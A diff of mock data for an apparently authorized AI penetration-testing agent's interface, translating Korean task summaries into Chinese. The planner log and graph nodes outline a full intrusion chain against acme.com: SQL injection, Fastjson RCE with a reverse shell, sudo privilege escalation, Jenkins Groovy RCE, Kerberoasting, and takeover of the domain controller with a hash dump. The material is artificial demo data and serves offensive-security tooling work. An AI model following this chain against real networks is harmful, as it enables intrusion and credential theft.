+ payload: P({ summary: "内网凭据复用与密码喷洒" }),
priority: 8,
state: "running",
origin: "planner",
@@ -981,7 +981,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "i11",
type: "intent",
- payload: P({ summary: "내부 Jenkins 미인증 Groovy 스크립트 실행(RCE)" }),
+ payload: P({ summary: "内网 Jenkins 未授权 Groovy 脚本执行(RCE)" }),
priority: 9,
state: "done",
origin: "planner",
@@ -990,7 +990,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "i12",
type: "intent",
- payload: P({ summary: "도메인 서비스 계정 대상 Kerberoasting 후 오프라인 크래킹" }),
+ payload: P({ summary: "针对域服务账号的 Kerberoasting 与离线破解" }),
priority: 8,
state: "done",
origin: "planner",
@@ -999,7 +999,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "i13",
type: "intent",
- payload: P({ summary: "도메인 관리자 자격 증명으로 로그인해 도메인 컨트롤러 DC01 장악" }),
+ payload: P({ summary: "使用域管理员凭据登录并控制域控制器 DC01" }),
priority: 10,
state: "done",
origin: "planner",
@@ -1010,7 +1010,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fa1",
type: "fact",
- payload: P({ summary: "서브도메인 admin.acme.com 발견(Element-UI 백오피스)" }),
+ payload: P({ summary: "发现子域名 admin.acme.com(Element-UI 后台)" }),
priority: 0,
state: "open",
origin: "work#1",
@@ -1019,7 +1019,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fa2",
type: "fact",
- payload: P({ summary: "search 페이지 q 파라미터가 오류 기반 인젝션 지점(MSSQL)" }),
+ payload: P({ summary: "search 页面 q 参数为报错型注入点(MSSQL)" }),
priority: 0,
state: "open",
origin: "work#4",
@@ -1028,7 +1028,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "faGit",
type: "fact",
- payload: P({ summary: ".git 다운로드 가능, git-dumper 로 백엔드 소스 코드 복원" }),
+ payload: P({ summary: ".git 可下载,用 git-dumper 还原后端源码" }),
priority: 0,
state: "open",
origin: "workG",
@@ -1037,7 +1037,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "faCreds",
type: "fact",
- payload: P({ summary: "소스 코드 config.php 에 하드코딩된 DB 비밀번호 sa / Acme@2021(내부망 공용으로 추정)" }),
+ payload: P({ summary: "源码 config.php 中硬编码数据库口令 sa / Acme@2021(推测为内网通用)" }),
priority: 0,
state: "open",
origin: "workG",
@@ -1046,7 +1046,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fa3",
type: "fact",
- payload: P({ summary: "shop 지문이 Fastjson 1.2.24 에 적중(알려진 역직렬화 RCE 존재)" }),
+ payload: P({ summary: "shop 指纹命中 Fastjson 1.2.24(存在已知反序列化 RCE)" }),
priority: 0,
state: "open",
origin: "work#6",
@@ -1055,7 +1055,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fa4",
type: "fact",
- payload: P({ summary: "리버스 셸 성공: www-data@dmz-web01(10.0.20.15), DMZ 세그먼트에 위치" }),
+ payload: P({ summary: "反弹 shell 成功:www-data@dmz-web01(10.0.20.15),位于 DMZ 网段" }),
priority: 0,
state: "open",
origin: "work#7",
@@ -1064,7 +1064,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fa5",
type: "fact",
- payload: P({ summary: "sudo -l: (ALL) NOPASSWD: /usr/bin/python3 → root 권한 상승 가능" }),
+ payload: P({ summary: "sudo -l:(ALL) NOPASSWD: /usr/bin/python3 → 可提权至 root" }),
priority: 0,
state: "open",
origin: "work#8",
@@ -1073,7 +1073,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fa6",
type: "fact",
- payload: P({ summary: "거점의 두 번째 NIC 가 내부망 10.10.10.0/24 에 직결(DMZ 경계를 넘음)" }),
+ payload: P({ summary: "据点第二块网卡直连内网 10.10.10.0/24(跨越 DMZ 边界)" }),
priority: 0,
state: "open",
origin: "work#9",
@@ -1083,7 +1083,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
id: "fa7",
type: "fact",
payload: P({
- summary: "내부망 생존: 10.10.10.10 DC01(도메인 컨트롤러) / 10.10.10.5 FS01(SMB) / 10.10.10.20 JENKINS",
+ summary: "内网存活:10.10.10.10 DC01(域控制器) / 10.10.10.5 FS01(SMB) / 10.10.10.20 JENKINS",
}),
priority: 0,
state: "open",
@@ -1093,7 +1093,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fa8",
type: "fact",
- payload: P({ summary: "JENKINS 콘솔 /script 미인증, Groovy 직접 실행 가능" }),
+ payload: P({ summary: "JENKINS 控制台 /script 未授权,可直接执行 Groovy" }),
priority: 0,
state: "open",
origin: "work#11",
@@ -1102,7 +1102,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fa9",
type: "fact",
- payload: P({ summary: "Jenkins 자격 증명 저장소에서 도메인 계정 acme\\svc_deploy 평문 비밀번호 덤프" }),
+ payload: P({ summary: "从 Jenkins 凭据库导出域账号 acme\\svc_deploy 的明文口令" }),
priority: 0,
state: "open",
origin: "work#11",
@@ -1111,7 +1111,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fa10",
type: "fact",
- payload: P({ summary: "svc_sql 의 TGS 를 Kerberoast, hashcat 으로 비밀번호 Sql@2020 크랙" }),
+ payload: P({ summary: "对 svc_sql 的 TGS 进行 Kerberoast,用 hashcat 破解出口令 Sql@2020" }),
priority: 0,
state: "open",
origin: "work#12",
@@ -1122,7 +1122,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fi1",
type: "finding",
- payload: P({ summary: "백오피스 기본 비밀번호 admin/admin123" }),
+ payload: P({ summary: "后台默认口令 admin/admin123" }),
priority: 0,
state: "confirmed",
origin: "work#2",
@@ -1131,7 +1131,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fi2",
type: "finding",
- payload: P({ summary: "SQL 인젝션(search q)으로 acme_prod DB 열람 가능" }),
+ payload: P({ summary: "通过 SQL 注入(search q)可读取 acme_prod 数据库" }),
priority: 0,
state: "confirmed",
origin: "work#4",
@@ -1140,7 +1140,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fi3",
type: "finding",
- payload: P({ summary: "IDOR: /v1/orders?id= 로 타인 주문 권한 우회 조회" }),
+ payload: P({ summary: "IDOR:/v1/orders?id= 可绕过权限查询他人订单" }),
priority: 0,
state: "confirmed",
origin: "work#5",
@@ -1149,7 +1149,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fiSrc",
type: "finding",
- payload: P({ summary: "소스 코드 유출 + 하드코딩 데이터베이스 자격 증명(sa/Acme@2021)" }),
+ payload: P({ summary: "源码泄露 + 硬编码数据库凭据(sa/Acme@2021)" }),
priority: 0,
state: "confirmed",
origin: "workG",
@@ -1158,7 +1158,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fiRce",
type: "finding",
- payload: P({ summary: "shop Fastjson 역직렬화 RCE 로 서버 명령 실행 획득" }),
+ payload: P({ summary: "通过 shop Fastjson 反序列化 RCE 获得服务器命令执行" }),
priority: 0,
state: "confirmed",
origin: "work#7",
@@ -1167,7 +1167,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fiPriv",
type: "finding",
- payload: P({ summary: "DMZ 거점 로컬 권한 상승 root(sudo NOPASSWD 오설정)" }),
+ payload: P({ summary: "DMZ 据点本地提权 root(sudo NOPASSWD 配置错误)" }),
priority: 0,
state: "confirmed",
origin: "work#8",
@@ -1176,7 +1176,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fiJenkins",
type: "finding",
- payload: P({ summary: "내부 Jenkins 미인증 Groovy → 서버 RCE" }),
+ payload: P({ summary: "内网 Jenkins 未授权 Groovy → 服务器 RCE" }),
priority: 0,
state: "confirmed",
origin: "work#11",
@@ -1185,7 +1185,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fiKerb",
type: "finding",
- payload: P({ summary: "Kerberoasting 으로 도메인 서비스 계정 svc_sql 비밀번호 크랙" }),
+ payload: P({ summary: "通过 Kerberoasting 破解域服务账号 svc_sql 口令" }),
priority: 0,
state: "confirmed",
origin: "work#12",
@@ -1194,7 +1194,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "fiDC",
type: "finding",
- payload: P({ summary: "도메인 컨트롤러 DC01 장악(Domain Admin): 내부 목표 달성" }),
+ payload: P({ summary: "控制域控制器 DC01(Domain Admin):内网目标达成" }),
priority: 0,
state: "confirmed",
origin: "work#13",
@@ -1205,7 +1205,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "h1",
type: "hint",
- payload: P({ summary: "백오피스가 Element-UI 라 기본 비밀번호 목록을 우선 실행" }),
+ payload: P({ summary: "后台为 Element-UI,优先执行默认口令列表" }),
priority: 5,
state: "consumed",
origin: "mainagent",
@@ -1214,7 +1214,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "h2",
type: "hint",
- payload: P({ summary: "내부망은 Jenkins 를 우선 공략: 미인증 /script 로 Groovy RCE 직행" }),
+ payload: P({ summary: "内网优先攻击 Jenkins:未授权 /script 直达 Groovy RCE" }),
priority: 6,
state: "consumed",
origin: "mainagent",
@@ -1223,7 +1223,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "h3",
type: "hint",
- payload: P({ summary: "소스 코드의 그 DB 비밀번호를 내부망에 스프레이, 공용일 가능성 높음" }),
+ payload: P({ summary: "将源码中的数据库口令向内网喷洒,很可能通用" }),
priority: 6,
state: "consumed",
origin: "mainagent",
@@ -1305,14 +1305,14 @@ export const frontier: TaskNode[] = explorationGraph.nodes.filter(
export const activity: Activity[] = [
// planner —— 每轮完整决策链:读态势 → 拉 worker 产出对照 → 判目标 → add_intent 派方向
// ── 第 0 轮 · 目标拆解与首批意图(2026-07-24 09:12)──
- { seq: 1000, worker: "planner", ts: T("2026-07-24T09:12:10Z"), kind: "round", summary: "라운드 0 · 목표 분해" },
+ { seq: 1000, worker: "planner", ts: T("2026-07-24T09:12:10Z"), kind: "round", summary: "第 0 轮 · 目标拆解" },
{
seq: 1001,
worker: "planner",
ts: T("2026-07-24T09:12:25Z"),
kind: "thinking",
summary:
- "graph_overview: goals 는 목표층에서 이미 분해되어 있다. g1「acme.com 백오피스 관리 권한 획득」, g2「사용자 민감 데이터 열람」이며 둘 다 open 이고, facts=0, recent_facts 는 비어 있다(그래프가 거의 백지라 아직 어떤 worker 산출물도 없다). 범위 내 자산은 루트 도메인 acme.com 과 C 클래스 대역 하나뿐이다. 공격면 초기 판단은 www / admin / api / shop / vpn 다섯 개 입구다. 그래프에 fact 가 없으니 나는 【아주 가벼운 읽기 전용 탐지】만으로 초기 의도를 구체화할 수 있을 뿐, plan 단계에서 실제 작업을 수행하지는 않는다.",
+ "graph_overview:goals 已在目标层完成拆解。g1「获取 acme.com 后台管理权限」、g2「查阅用户敏感数据」,二者均为 open,facts=0,recent_facts 为空(图谱近乎空白,尚无任何 worker 产物)。范围内资产仅有根域名 acme.com 与一个 C 类网段。攻击面初判为 www / admin / api / shop / vpn 五个入口。由于图谱中没有 fact,我只能以【极轻量的只读侦察】来具体化初始意图,plan 阶段不执行实际作业。",
},
{
seq: 1002,
@@ -1323,7 +1323,7 @@ export const activity: Activity[] = [
tool_use_id: "p0-probe",
summary: "curl -sI https://acme.com; curl -sI https://admin.acme.com",
detail:
- "초기 상황이 거의 백지라, 읽기 전용 탐지를 3회 이하로 수행해 초기 의도 방향을 보정한다(열거·검증은 하지 않는다. 그건 worker 의 몫이다).",
+ "初始情况近乎空白,执行不超过 3 次只读侦察以校正初始意图方向(不做枚举·验证,那是 worker 的职责)。",
},
{
seq: 1003,
@@ -1333,9 +1333,9 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "p0-probe",
summary:
- "acme.com → 302 → www; Server: nginx/1.24.0\nadmin.acme.com → 200, X-Powered-By 없음, body 에서 element-ui/vue 특징 탐지",
+ "acme.com → 302 → www; Server: nginx/1.24.0\nadmin.acme.com → 200,无 X-Powered-By,body 中检测到 element-ui/vue 特征",
detail:
- "admin 은 독립된 백오피스 로그인 페이지다. 다섯 입구가 유효함을 확인했고, 초기 의도 설명을 정밀하게 작성할 수 있다.",
+ "admin 是独立的后台登录页。已确认五个入口有效,可精确撰写初始意图说明。",
},
{
seq: 1004,
@@ -1344,9 +1344,9 @@ export const activity: Activity[] = [
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p0-ai",
- summary: "add_intent × 4 (첫 탐색 방향 묶음을 일괄 파견)",
+ summary: "add_intent × 4(批量派遣首批探索方向)",
detail:
- "intents=[\n { summary: 'acme.com 전수 서브도메인 열거 + 활성 호스트 포트/서비스 식별로 공격면 파악', asset_ids: [acme.com], priority: 6 },\n { summary: 'admin.acme.com 백오피스 기본 비밀번호/취약 비밀번호 테스트(Element-UI 로그인, 캡차 없음)', asset_ids: [admin], priority: 9 },\n { summary: 'www.acme.com/search q 파라미터 SQL 인젝션 탐지', asset_ids: [www], priority: 8 },\n { summary: 'api.acme.com 주문 엔드포인트 권한 우회(IDOR) 테스트', asset_ids: [api], priority: 8 },\n]\nparent_ids 는 모두 비어 있다(최상위 신규 방향이라 origin fact 에 fallback 으로 연결).",
+ "intents=[\n { summary: '全量枚举 acme.com 子域名 + 识别存活主机端口/服务以掌握攻击面', asset_ids: [acme.com], priority: 6 },\n { summary: 'admin.acme.com 后台默认口令/弱口令测试(Element-UI 登录,无验证码)', asset_ids: [admin], priority: 9 },\n { summary: 'www.acme.com/search q 参数 SQL 注入检测', asset_ids: [www], priority: 8 },\n { summary: 'api.acme.com 订单端点权限绕过(IDOR)测试', asset_ids: [api], priority: 8 },\n]\nparent_ids 均为空(属顶层新方向,回退连接到 origin fact)。",
},
{
seq: 1005,
@@ -1355,9 +1355,9 @@ export const activity: Activity[] = [
kind: "tool_result",
tool: "add_intent",
tool_use_id: "p0-ai",
- summary: "4 intents created → ids=[i1, i2, i4, i5], frontier 에 연결됨",
+ summary: "已创建 4 个 intent → ids=[i1, i2, i4, i5],已接入 frontier",
detail:
- "경로의 다양성을 의도적으로 유지한다. i1 정찰 + i2(g1 인증 경로) + i4/i5(g2 데이터 경로)로 독립된 두 공격 기법을 병행하며, 성급하게 수렴하지 않는다.",
+ "有意保持路径多样性。以 i1 侦察 + i2(g1 认证路径) + i4/i5(g2 数据路径)并行两条独立攻击手法,不急于收敛。",
},
{
seq: 1006,
@@ -1365,18 +1365,18 @@ export const activity: Activity[] = [
ts: T("2026-07-24T09:13:05Z"),
kind: "text",
summary:
- "이번 라운드에서 첫 의도 4건을 파생했다. i1 자산 정찰, i2 백오피스 비밀번호, i4 인젝션, i5 API 권한 우회이며, g1 은 i2 로 g2 는 i4/i5 로 가면서 두 목표 모두 독립된 입구를 두고 진행 중이다. worker 가 사실을 산출하면 그 계통에 따라 증원한다.",
+ "本轮派生出首批 4 个意图。i1 资产侦察、i2 后台口令、i4 注入、i5 API 权限绕过,g1 走 i2、g2 走 i4/i5,两个目标都保留了独立入口。worker 产出事实后再按脉络增援。",
},
// ── 第 1 轮 · 攻击面加码(2026-07-25 14:12)──
- { seq: 1100, worker: "planner", ts: T("2026-07-25T14:12:00Z"), kind: "round", summary: "라운드 1 · 공격면 증원" },
+ { seq: 1100, worker: "planner", ts: T("2026-07-25T14:12:00Z"), kind: "round", summary: "第 1 轮 · 攻击面增援" },
{
seq: 1101,
worker: "planner",
ts: T("2026-07-25T14:12:15Z"),
kind: "thinking",
summary:
- "recent_facts 대조: workG 가 faGit「.git 다운로드 가능, git-dumper 로 백엔드 소스 코드 복원」과 faCreds「config.php 에 sa/Acme@2021 하드코딩(내부망 공용으로 추정)」을 회신했고, work#6 지문 식별이 fa3「shop 에서 Fastjson 1.2.24 탐지(알려진 역직렬화 RCE 존재)」을 회신했다. 【재료가 되는 새 기법】 두 가지다. ① 하드코딩된 DB 비밀번호가 내부망 전반에서 재사용될 수 있다. ② Fastjson 에는 성숙한 RCE 수법이 있다. 이는 기존 인증/인젝션 경로와 【본질적으로 다른】 입구를 연다. shop 에서 바로 RCE 로 DMZ 를 돌파하는 길이다. 먼저 faGit 상세를 가져와 산출물을 확인한다.",
+ "recent_facts 比对:workG 回报 faGit「.git 可下载,用 git-dumper 还原后端源码」与 faCreds「config.php 中硬编码 sa/Acme@2021(推测内网通用)」,work#6 指纹识别回报 fa3「在 shop 上检测到 Fastjson 1.2.24(存在已知反序列化 RCE)」。【可作素材的新手法】有两种。① 硬编码数据库口令可能在内网大范围复用。② Fastjson 有成熟的 RCE 手法。这开辟了与既有认证/注入路径【本质不同】的入口,是从 shop 直接用 RCE 突破 DMZ 的路径。先取 faGit 详情核对产物。",
},
{
seq: 1102,
@@ -1385,8 +1385,8 @@ export const activity: Activity[] = [
kind: "tool_use",
tool: "node_detail",
tool_use_id: "p1-nd",
- summary: "node_detail(faGit): workG 의 소스 코드 복원 산출물 대조",
- detail: "add_intent 전에 worker 가 실제로 무엇을 복원했는지 먼저 확인해, 지문만으로 방향을 넘겨짚는 일을 피한다.",
+ summary: "node_detail(faGit):比对 workG 的源码还原产物",
+ detail: "在 add_intent 前先确认 worker 实际还原了什么,避免仅凭指纹臆断方向。",
},
{
seq: 1103,
@@ -1396,9 +1396,9 @@ export const activity: Activity[] = [
tool: "node_detail",
tool_use_id: "p1-nd",
summary:
- "faGit 증거: git-dumper 로 config.php / db.php / order_api.php 복원. config.php 내 $db=['host'=>'10.10.10.5','user'=>'sa','pass'=>'Acme@2021']",
+ "faGit 证据:用 git-dumper 还原 config.php / db.php / order_api.php。config.php 内 $db=['host'=>'10.10.10.5','user'=>'sa','pass'=>'Acme@2021']",
detail:
- "하드코딩 값이 내부망 10.10.10.5(FS01)을 가리켜 faCreds 의「내부망 공용」추정을 뒷받침한다. RCE 가 안착한 뒤 이 비밀번호 묶음은 재사용할 가치가 있다.",
+ "硬编码值指向内网 10.10.10.5(FS01),佐证 faCreds 的「内网通用」推测。RCE 站稳后这组口令值得复用。",
},
{
seq: 1104,
@@ -1407,9 +1407,9 @@ export const activity: Activity[] = [
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p1-ai",
- summary: "add_intent × 2 (Fastjson 돌파 체인, 직렬 단계로 나눠 실행 가능한 첫 단계부터 파견)",
+ summary: "add_intent × 2(Fastjson 突破链,按串行阶段从可执行的第一步开始派遣)",
detail:
- "intents=[\n { summary: 'shop.acme.com 컴포넌트 지문 심층 분석 + Fastjson 1.2.24 CVE 정밀 연관(gadget 체인 확인)', asset_ids: [shop], parent_ids: [fa3], priority: 7 },\n { summary: 'Fastjson 역직렬화 payload 를 구성해 shop RCE 를 유발하고 리버스 셸 획득', asset_ids: [shop], parent_ids: [fa3], priority: 9 },\n]\n주: 강한 의존성을 가진 직렬 체인이라 TodoWrite 에 『지문→RCE→거점 권한 상승』 세 단계를 기록했고, 이번 라운드에는 앞 두 단계만 파견한다(권한 상승은 shell 산출물에 의존하므로 다음 라운드에 파견).",
+ "intents=[\n { summary: '深入分析 shop.acme.com 组件指纹 + 精确定位 Fastjson 1.2.24 CVE(确认 gadget 链)', asset_ids: [shop], parent_ids: [fa3], priority: 7 },\n { summary: '构造 Fastjson 反序列化 payload 触发 shop RCE 并获取反弹 shell', asset_ids: [shop], parent_ids: [fa3], priority: 9 },\n]\n注:属强依赖的串行链,已在 TodoWrite 中记录『指纹→RCE→据点提权』三个阶段,本轮仅派遣前两步(提权依赖 shell 产物,故下一轮派遣)。",
},
{
seq: 1105,
@@ -1418,7 +1418,7 @@ export const activity: Activity[] = [
kind: "tool_result",
tool: "add_intent",
tool_use_id: "p1-ai",
- summary: "2 intents created → ids=[i6, i7], fa3 를 통해 계통에 연결됨",
+ summary: "已创建 2 个 intent → ids=[i6, i7],经 fa3 接入脉络",
},
{
seq: 1106,
@@ -1426,7 +1426,7 @@ export const activity: Activity[] = [
ts: T("2026-07-25T14:13:00Z"),
kind: "text",
summary:
- "상황 격상: 소스 코드 + 하드코딩된 내부망 비밀번호 + Fastjson RCE 가 완전히 새로운 돌파 경로를 구성한다. 목표층에 g3「외부망에서 DMZ 를 돌파해 내부망 거점 확보」를 등록 요청했고, i6(지문/CVE 연관)·i7(RCE 유발)을 파견했다. DMZ 권한 상승 단계는 shell 에 의존하므로 할 일에 기록하고 다음 라운드에 파견한다.",
+ "态势升级:源码 + 内网硬编码口令 + Fastjson RCE 构成了全新的突破路径。已向目标层登记 g3「从外网突破 DMZ,取得内网据点」,并派遣 i6(指纹/CVE 关联)·i7(触发 RCE)。DMZ 提权阶段依赖 shell,故记入待办并在下一轮派遣。",
},
// ── 第 2 轮 · 立足点已建,转内网(2026-07-25 20:25)──
@@ -1435,7 +1435,7 @@ export const activity: Activity[] = [
worker: "planner",
ts: T("2026-07-25T20:25:00Z"),
kind: "round",
- summary: "라운드 2 · 거점 확보 완료, 내부망으로 전환",
+ summary: "第 2 轮 · 据点获取完成,转向内网",
},
{
seq: 1201,
@@ -1443,7 +1443,7 @@ export const activity: Activity[] = [
ts: T("2026-07-25T20:25:18Z"),
kind: "thinking",
summary:
- "계통 대조: i7 가 fa4「리버스 셸 www-data@dmz-web01(10.0.20.15), DMZ 세그먼트에 위치」를 회신했고, 권한 상승 체인은 fa5「sudo -l 에서 NOPASSWD python3 탐지 → root 권한 상승 가능」, fa6「거점의 두 번째 NIC 가 내부망 10.10.10.0/24 에 직접 연결」을 회신했다. g3 의 인수 조건(DMZ 돌파 + 거점 확보)은 fa4+fa6 으로 이미 직접 충족됐다. 먼저 fa6 의 내부망 도달성을 확인한 뒤 prove_goal 한다.",
+ "脉络比对:i7 回报 fa4「反弹 shell www-data@dmz-web01(10.0.20.15),位于 DMZ 网段」,提权链回报 fa5「在 sudo -l 中检测到 NOPASSWD python3 → 可提权至 root」、fa6「据点第二块网卡直连内网 10.10.10.0/24」。g3 的验收条件(突破 DMZ + 取得据点)已由 fa4+fa6 直接满足。先确认 fa6 的内网可达性再 prove_goal。",
},
{
seq: 1202,
@@ -1452,7 +1452,7 @@ export const activity: Activity[] = [
kind: "tool_use",
tool: "node_detail",
tool_use_id: "p2-nd",
- summary: "node_detail(fa6): 이중 NIC 와 내부망 도달 확인",
+ summary: "node_detail(fa6):确认双网卡与内网可达性",
},
{
seq: 1203,
@@ -1462,7 +1462,7 @@ export const activity: Activity[] = [
tool: "node_detail",
tool_use_id: "p2-nd",
summary:
- "fa6 증거: ip a → eth0 10.0.20.15(DMZ) / eth1 10.10.10.15(내부망); ping 10.10.10.10 성공, DMZ 경계 횡단 성립",
+ "fa6 证据:ip a → eth0 10.0.20.15(DMZ) / eth1 10.10.10.15(内网);ping 10.10.10.10 成功,确认跨越 DMZ 边界",
},
{
seq: 1204,
@@ -1473,7 +1473,7 @@ export const activity: Activity[] = [
tool_use_id: "p2-pg",
summary: "prove_goal(g3, evidence=fa6)",
detail:
- "reason: i7 의 RCE 로 DMZ 거점(fa4) 확보, fa5 로 root 권한 상승, fa6 가 두 번째 NIC 의 내부망 직결과 DC01 ping 성공을 입증. 『DMZ 돌파, 내부망 거점 확보』 인수 달성.",
+ "reason:通过 i7 的 RCE 取得 DMZ 据点(fa4),fa5 完成 root 提权,fa6 证明第二块网卡直连内网且 ping 通 DC01。达成「突破 DMZ,取得内网据点」验收。",
},
{
seq: 1205,
@@ -1482,7 +1482,7 @@ export const activity: Activity[] = [
kind: "tool_result",
tool: "prove_goal",
tool_use_id: "p2-pg",
- summary: "goal g3 → met(증거 fa6 연결됨); 아직 g1/g2/g4 가 미달성이라 작업을 계속한다",
+ summary: "goal g3 → met(已关联证据 fa6);g1/g2/g4 尚未达成,继续作业",
},
{
seq: 1206,
@@ -1491,9 +1491,9 @@ export const activity: Activity[] = [
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p2-ai",
- summary: "add_intent × 4 (거점을 pivot 삼아 내부망 횡적 이동 전개)",
+ summary: "add_intent × 4(以据点为跳板展开内网横向移动)",
detail:
- "intents=[\n { summary: 'dmz-web01 을 pivot 삼아 내부망 10.10.10.0/24 호스트 발견과 포트 식별', asset_ids: [dmz-web01], parent_ids: [fa6], priority: 8 },\n { summary: '내부망 횡적 이동: 하드코딩 비밀번호 sa/Acme@2021 로 자격 증명 재사용과 패스워드 스프레이', parent_ids: [faCreds], priority: 8 },\n { summary: '내부 Jenkins(10.10.10.20) 미인증 /script Groovy 실행(RCE)', parent_ids: [fa6], priority: 9 },\n { summary: '도메인 서비스 계정 대상 Kerberoasting 후 오프라인 크래킹', parent_ids: [fa6], priority: 8 },\n]\n호스트 발견이 선행 단계(먼저 파견)이고, 나머지 세 건은 병렬 횡적 탐색 차원이다.",
+ "intents=[\n { summary: '以 dmz-web01 为跳板发现内网 10.10.10.0/24 主机并识别端口', asset_ids: [dmz-web01], parent_ids: [fa6], priority: 8 },\n { summary: '内网横向移动:用硬编码口令 sa/Acme@2021 复用凭据并做密码喷洒', parent_ids: [faCreds], priority: 8 },\n { summary: '内网 Jenkins(10.10.10.20) 未授权 /script Groovy 执行(RCE)', parent_ids: [fa6], priority: 9 },\n { summary: '针对域服务账号的 Kerberoasting 与离线破解', parent_ids: [fa6], priority: 8 },\n]\n主机发现为前置步骤(先派遣),其余三项为并行横向探索方向。",
},
{
seq: 1207,
@@ -1510,18 +1510,18 @@ export const activity: Activity[] = [
ts: T("2026-07-25T20:26:20Z"),
kind: "text",
summary:
- "g3 달성, 공격면이 외부망에서 내부망으로 전환됐다. g4「내부망 횡적 이동으로 내부 표적 도메인 컨트롤러 DC01 장악」을 등록 요청했고, i9(호스트 발견) + i10/i11/i12 세 건의 병렬 횡적 이동을 파견했다. 자격 증명 재사용은 faCreds 에 직접 고정한다. 외부망 소스 코드 유출로 얻은 비밀번호를 내부망 횡적 이동에 투입하는 것이다.",
+ "g3 达成,攻击面从外网转向内网。已登记 g4「通过内网横向移动控制内网目标域控制器 DC01」,并派遣 i9(主机发现) + i10/i11/i12 三项并行横向移动。凭据复用直接挂在 faCreds 上。即把外网源码泄露获得的口令投入内网横向移动。",
},
// ── 第 3 轮 · 靶标达成复盘(2026-07-26 00:25)──
- { seq: 1300, worker: "planner", ts: T("2026-07-26T00:25:00Z"), kind: "round", summary: "라운드 3 · 표적 달성 리뷰" },
+ { seq: 1300, worker: "planner", ts: T("2026-07-26T00:25:00Z"), kind: "round", summary: "第 3 轮 · 目标达成回顾" },
{
seq: 1301,
worker: "planner",
ts: T("2026-07-26T00:25:16Z"),
kind: "thinking",
summary:
- "이번 라운드 worker 산출물 대조: i9→fa7「내부망 활성 DC01/FS01/JENKINS」, i11→fa8「Jenkins /script 인증 없는 Groovy」 + fa9「Jenkins 자격 증명 저장소에서 acme\\svc_deploy 평문 비밀번호 추출」, i12→fa10「svc_sql TGS Kerberoast, hashcat 로 Sql@2020 크랙」. svc_deploy 는 Domain Admins 소속이고, i13 이 이를 써서 psexec 로 DC01 을 장악하고 secretsdump 했다. g4 인수(DC01 장악)는 이미 달성됐을 것이므로, 먼저 finding 증거 체인을 대조한 뒤 확정한다.",
+ "本轮 worker 产物比对:i9→fa7「内网存活 DC01/FS01/JENKINS」,i11→fa8「Jenkins /script 无认证的 Groovy」+ fa9「从 Jenkins 凭据库提取 acme\\svc_deploy 明文口令」,i12→fa10「svc_sql TGS Kerberoast,用 hashcat 破解出 Sql@2020」。svc_deploy 属于 Domain Admins,i13 借此用 psexec 控制 DC01 并 secretsdump。g4 验收(控制 DC01)应已达成,故先比对 finding 证据链再确认。",
},
{
seq: 1302,
@@ -1530,7 +1530,7 @@ export const activity: Activity[] = [
kind: "tool_use",
tool: "list_findings",
tool_use_id: "p3-lf",
- summary: "list_findings: DC01 함락 확정 증거 대조",
+ summary: "list_findings:比对 DC01 失陷的确凿证据",
},
{
seq: 1303,
@@ -1540,7 +1540,7 @@ export const activity: Activity[] = [
tool: "list_findings",
tool_use_id: "p3-lf",
summary:
- "F-09「도메인 컨트롤러 DC01 완전 장악 / secretsdump 로 전체 도메인 해시 추출」critical(증거: psexec svc_deploy@10.10.10.10 + NTDS.dit dump); 상류 체인 fa9→fa10→i13 완전",
+ "F-09「完全控制域控制器 DC01 / 用 secretsdump 导出整个域哈希」critical(证据:psexec svc_deploy@10.10.10.10 + NTDS.dit dump);上游链 fa9→fa10→i13 完整",
},
{
seq: 1304,
@@ -1551,7 +1551,7 @@ export const activity: Activity[] = [
tool_use_id: "p3-pg",
summary: "prove_goal(g4, evidence=F-09)",
detail:
- "reason: Jenkins 가 svc_deploy(Domain Admin)를 유출 → psexec 로 DC01 장악 → secretsdump 로 전체 도메인 해시, F-09 확정, 『내부 표적 도메인 컨트롤러 DC01 장악』 달성.",
+ "reason:Jenkins 泄露 svc_deploy(Domain Admin) → 用 psexec 控制 DC01 → 以 secretsdump 导出整个域哈希,F-09 确认,达成「控制内网目标域控制器 DC01」。",
},
{
seq: 1305,
@@ -1560,7 +1560,7 @@ export const activity: Activity[] = [
kind: "tool_result",
tool: "prove_goal",
tool_use_id: "p3-pg",
